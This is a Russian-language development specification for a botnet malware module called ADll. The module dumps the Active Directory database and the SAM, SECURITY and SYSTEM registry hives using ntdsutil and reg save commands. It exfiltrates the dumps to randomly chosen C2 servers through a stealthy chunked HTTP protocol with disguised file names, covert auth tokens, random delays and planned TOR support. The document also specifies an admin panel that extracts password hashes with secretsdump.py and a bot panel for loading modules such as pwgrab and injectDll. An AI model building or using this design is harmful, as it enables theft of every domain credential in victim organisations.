МОДУЛЬ ДАМПА БД ACTIVE DIRECTORY И ЛОКАЛЬНЫХ УЧЕТНЫХ ЗАПИСЕЙ WINDOWS ТЕХНИЧЕСКОЕ ЗАДАНИЕ ЦЕЛЬ Выгрузка данных из БД Active Directory и локальных учетных записей, оформленная в виде модуля. ПРИНЦИП РАБОТЫ Модуль использует штатную утилиту `ntdsutil' для выгрузки БД. Затем данные загружаются на сервер, где происходит их дешифровка и анализ пакетом на Питоне impacket / secretsdump.py Модуль выполняет дамп БД Active Directory как описано в этой статье: https://devteev.blogspot.com/2014/04/hacking-tricks-easy-way-to-get-ntdsdit.html Также модуль делает дамп веток реестра HKLM/SAM, HKLM/Security и HKLM/System. РЕАЛИЗАЦИЯ Программа должна быть оформлена в виде модуля в соответствии с документом modules_HOWTO. Название модуля/проекта - ADll. Исходить из того, что модуль работает с правами SYSTEM. * Перед началом работы следует проверить, имеется ли на компьютере служба Active Directory. * Если нет, отправить сообщение "AD not found" и завершить работу. * Далее, нужно убедиться, работает ли служба Volume Shadow Copy через WinAPI (аналогом команды sc query vss), и если нет, запустить (перезапустить) эту службу. * Далее формируются имена файлов дампа. Всего файлов дампа 4: ntds.dit sam.dump security.dump system.dump Однако в файловой системе эти файлы должны иметь другие имена: 0.dat 1.dat 2.dat 3.dat Префикс должен формироваться как хеш строки ParentInfo.ParentID (см. module_HOWTO) и при этом удовлетворять условиям: - значению на входе всегда соответствует одно и то же значение на выходе - по выходному значению нельзя восстановить входное - длина выходного хеша не зависит от длины входной строки - получаемый хеш содержит только алфавитно-цифровые символы (читаем человеком и дружествен к файловой системе) - алгоритм несложен. Можно предложить такой алгоритм: - рассчитывается 64-разрядная беззнаковая сумма всех байт (трактуемых как unsigned) поля ParentInfo.ParentID - 64-разрядное целое трактуется как массив unsigned char filename[8] - все байты, которые меньше 'a', становятся 'a' - все байты, которые больше 'Z', становятся 'Z' Таким образом, при условии подачи на вход одной и той же строки, на выходе также всегда получается одна и та же строка, которая выглядит случайно. Однако выбор алгоритма за разработчиком. * модуль проверяет наличие хотя бы одного из этих файлов в каталоге %TEMP% Если файл(ы) есть, происходит их отправка по протоколу передачи файлов. Описываемый в следующих двух пунктах дамп не производится - потому что, очевидно, модуль не закончил в прошлый раз, и теперь мы продолжаем работу. * Далее нужно запустить команду ntdsutil "ac in ntds" "ifm" "cr fu %temp%\0.dat" q q Если есть возможность, следует реализовать все действия этой команды через WinAPI (во второй версии; в первой версии делаем через команду). * Делаем дамп веток реестра HKLM/SAM, HKLM/Security и HKLM/System командами reg save hklm\sam %temp%\somepath\1.dat reg save hklm\security %temp%\somepath\2.dat reg save hklm\system %temp%\somepath\3.dat * Полученные файлы дампа данных передаются по протоколу передачи файлов (см.соотв.раздел). При этом сжатие и передача файла работают в потоке с пониженным приоритетом (так, чтобы не давать пиков нагрузки на ЦП и сеть). Размеры кусков выбираются исходя из константы(настройки) chunksize. По умолчанию размер константы - 10М. Адреса серверов берутся из конфига случайным образом (см.ниже). Между отправками каждого куска файла должна быть пауза, выбираемая случайным образом из интервала TIMEOUT_MIN...TIMEOUT_MAX (константы времени компиляции). Отправка производится в один поток. Если отправка неудачна (не удалось соединиться; получен ответ, отличный от HTTP 200 OK; ответа не было вовсе), делается пауза на некоторое время (задать константой времени компиляции), берется следующий случайный сервер, и так до успеха. После успешной отправки, модуль отправляет родительскому процессу событие WantRelease и засыпает в вечном цикле while(1) Sleep(1000); в ожидании, что родительский процесс завершит работу модуля. КОНФИГИ У модуля единственный конфиг с названием srvad. Конфиг представляет из себя простой текст, с разделителем \r\n. Одна строка - это один URL, на который следует отправлять данные. Если не указан префикс протокола http или https, следует выделить из URL порт. Если порт четный, работа по http, если нечетный - по https. Для второй версии предусмотреть работу через адреса TOR. Легковесная библиотека работы через TOR будет предоставлена. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ Протокол передачи файлов удовлетворяет следующим требованиям: - отсутствие пиковой нагрузки на интернет-канал - возможность передачи файла по частям. 1) на сервер отправляется основная информация о компьютере через HTTP POST в контейнере multipart/form-data (аналогично обычной отправке html-формы). POST содержит следующие поля: timestamp - локальное UNIX-время ip - поле ParentInfo.SelfIP (см. module_HOWTO) ip1 - адрес первого сетевого интерфейса ip2 - адрес второго сетевого интерфейса ... ipN - адрес N-го сетевого интерфейса cid - поле ParentInfo.ParentID (см. module_HOWTO) group - поле ParentInfo.ParentGroup (см. module_HOWTO) hostname - имя хоста, полученное через GetComputerName() source - строка `ntds' Отправка происходит на url вида: http://foo.com/// junk - произвольные символы, допустимые в URI, кроме слеша / auth - авторизующая секция. Предполагается, что тот кто отправляет запрос, должен знать правила формирования этой секции. Это - рандом любой длины. В ней обязательны: - буква Z в любой позиции - сумма цифр (не чисел!) с 6 по 15-ю позицию должна быть 31. Символы между ними - рандом. В частности там может находиться и Z. Пример секции - abcde7ol7k9hi8mZ 2) далее отправляется каждый файл по частям, запросом HTTP POST, в контейнере multipart/form-data. Файл передается в поле file. Имя файла берется из тега Content-Disposition; имя временного файла из URI игнорируется. При этом: - отправка файла начинается с конца. К примеру, если файл длиной 100М, мы отправляем последние 10М файла. - после отправки куска файла и получения подтверждения, файл усекается - остается только неотправленная часть, начиная с конца. Это делается для того, чтобы простым образом сохранять состояние отправки, и минимизировать число файловых операций. Усечь файл можно вызовом SetEndOfFile(). - перед отправкой, отправляемый кусок файла читается в память и сжимается алгоритмом gzip. - отправка производится на URL вида http://foo.com/////// где junk - произвольные символы, допустимые в URI, кроме слеша / auth - авторизующая секция. Это - рандом любой длины, в котором обязательны - буква S в любой позиции - сумма цифр (не чисел!) с 8 по 15-ю позицию должна быть 25. filename - имя временного файла; start - начальное смещение передаваемого куска относительно начала файла; здесь допустимы и буквы, и цифры. Но значащими являются только цифры, в порядке появления в строке. Например, 0A -- это число 0 (цифра 0 значащая, буква A игнорируется). end - конечное смещение передаваемого куска относительно начала файла; правила те же, что и для start. Например, 3A5A2A3A9A5A9A - это 3523959. eof - признак конца файла. Если признак есть, это последний кусок файла; и наоборот (секция необязательная) Это рандом любой длины, в котором обязательны: - первая цифра чётная или 0 - последняя буква A или F Последний символ имени файла (до расширения) имеет следующее значение: 0 - ntds.dit 1 - sam.dump 2 - security.dump 3 - system.dump При обработке ошибок, код HTTP-ответа 200 не говорит об успехе операции, но код не-200 говорит о неуспехе операции (например, 50* или 40* от прокси). Точный код операции содержится внутри XML в теле HTTP-ответа, внутри тега . При получении кода ответа вида 4041, добавочный символ 1 - это внутренний код ошибки сервера (включен только во время отладки). Например, следующий ответ свидетельствует об ошибке с кодом 9: HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Mon, 07 Oct 2019 13:08:44 GMT Content-Type: application/xml; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept 4049 Следующий ответ - ошибки нету, все ок HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Mon, 07 Oct 2019 13:08:44 GMT Content-Type: application/xml; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept 200 АДМИНКА Использование получаемых данных будет производиться через админку. Требования к оформлению минимальные - разумная простота. Главный экран показывает список последних полученных данных в формате таблицы: датавремя | ClientID| Group | IP | Hostname | Total Size с пейджингом. датавремя - для последнего приема по выбранному ClientID (см.ниже о группировке посылок). Предусмотреть фильтрацию по полям: - датавремя (диапазон от и до) - ClientID - Group - IP - Hostname - Total Size (диапазон от и до) Язык интерфейса - английский. Все скрипты не должны содержать русских строк и переменных по-русски (var $issledovanie - плохо; var $research - хорошо). В списке должна быть сортировка по полям заголовка. Запись можно открыть на просмотр; запись можно удалить (после трех предупреждений "Вы уверены?" со всем большим шрифтом и все более красным цветом). Кнопка удаления записи доступна только в открытой на просмотр записи. Добавление и редактирование записей не предусмотрено. В открытой записи должны быть перечислены файлы, содержащиеся в записи; каждый файл можно скачать. В открытой записи должна быть кнопка "Анализ данных". Пока проходит анализ, должен "крутиться" индикатор анализа (колесико часов или вроде того). Анализ данных Active Directory происходит путем запуска двух скриптов: sudo ./secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile result local где ntds.dit и SYSTEM - это необработанные файлы из полученного от модулей архива result - имя результирующего файла Анализ локальных учетных записей: secretsdump.py -sam sam.dump -security security.dump -system system.dump LOCAL При этом, админка должна: - выгрузить куда-нибудь во временную папку нужные скрипту файлы ntds.dit, sam.dump, security.dump, system.dump (эти файлы и содержатся в записи) - запустить скрипты, подсунув им пути к этим файлам - прочитать stdout, stderr скриптов и выдать их во фрейме на странице - добавить кнопку "Скачать результат анализа", чтобы скачать результат анализа, в виде .txt или .zip. Для этого возможно придется кешировать результат анализа, либо сохранять его в записи. *** Установка скрипта на Питоне примерно следующая: pip pip install impacket pip install impacket --upgrade (if needed) pip install pycrypto (--upgrade if needed) pip install pyasn1 (if needed) apt-get install python-dev (if needed) API АДМИНКИ Админка должна выставить API для получения данных от модулей: POST /api/v1/hello HTTP/1.1 Этот запрос создает либо обновляет запись с метаданными от конкретного клиента. Данных файла в нем пока нет (см. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ). POST /api/v1/savef/////e Этот запрос позволяет сохранить часть файла (см. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ). Все ответы 200 - ОК. Все ответы не 200 - ошибка. Уточняющий текст ошибки на усмотрение разработчика API. При создании хранилища данных исходить из того, что размер файлов может быть значителен (гигабайты в одной посылке). Архив с данными всегда содержит одинаковый набор данных. Имена файлов могут уточняться, но в первом приближении это: ntds.dit sam.dump security.dump system.dump При сохранении данных в БД/на диск нужно сохранять дату-время их прихода. ВАЖНО! Одну условную ЗАПИСЬ в БД формирует 4 (четыре!) файла. За одну посылку можно передать только один файл (в лучшем случае). Поэтому, при сохранении в БД, нужно группировать файлы к основной записи по ключу cid. Учитывать, что передача гигабайтных пакетов может занимать несколько суток. МОДИФИКАЦИЯ "ТЕМНОЙ" АДМИНКИ Нужно так модифицировать "темную" админку, чтобы можно было просто запускать модули. На экране с деталями бота (/log/1234) нужно добавить список кнопок с именами часто используемых модулей, например injectDll pwgrab importDll итд Эти имена можно брать как из справочника известных модулей, так и жестко вшить в код (первое предпочтительно). Для уже загруженных и работающих на боте модулей кнопка с его именем должна работать на выключение (т.е. нажатие на кнопку выгружает модуль). Для не работающих модулей кнопка загружает модуль. Т.к. реакция на загрузку модуля происходит в течение нескольких минут, нужно блокировать кнопку от нажатия, до получения реакции от бота.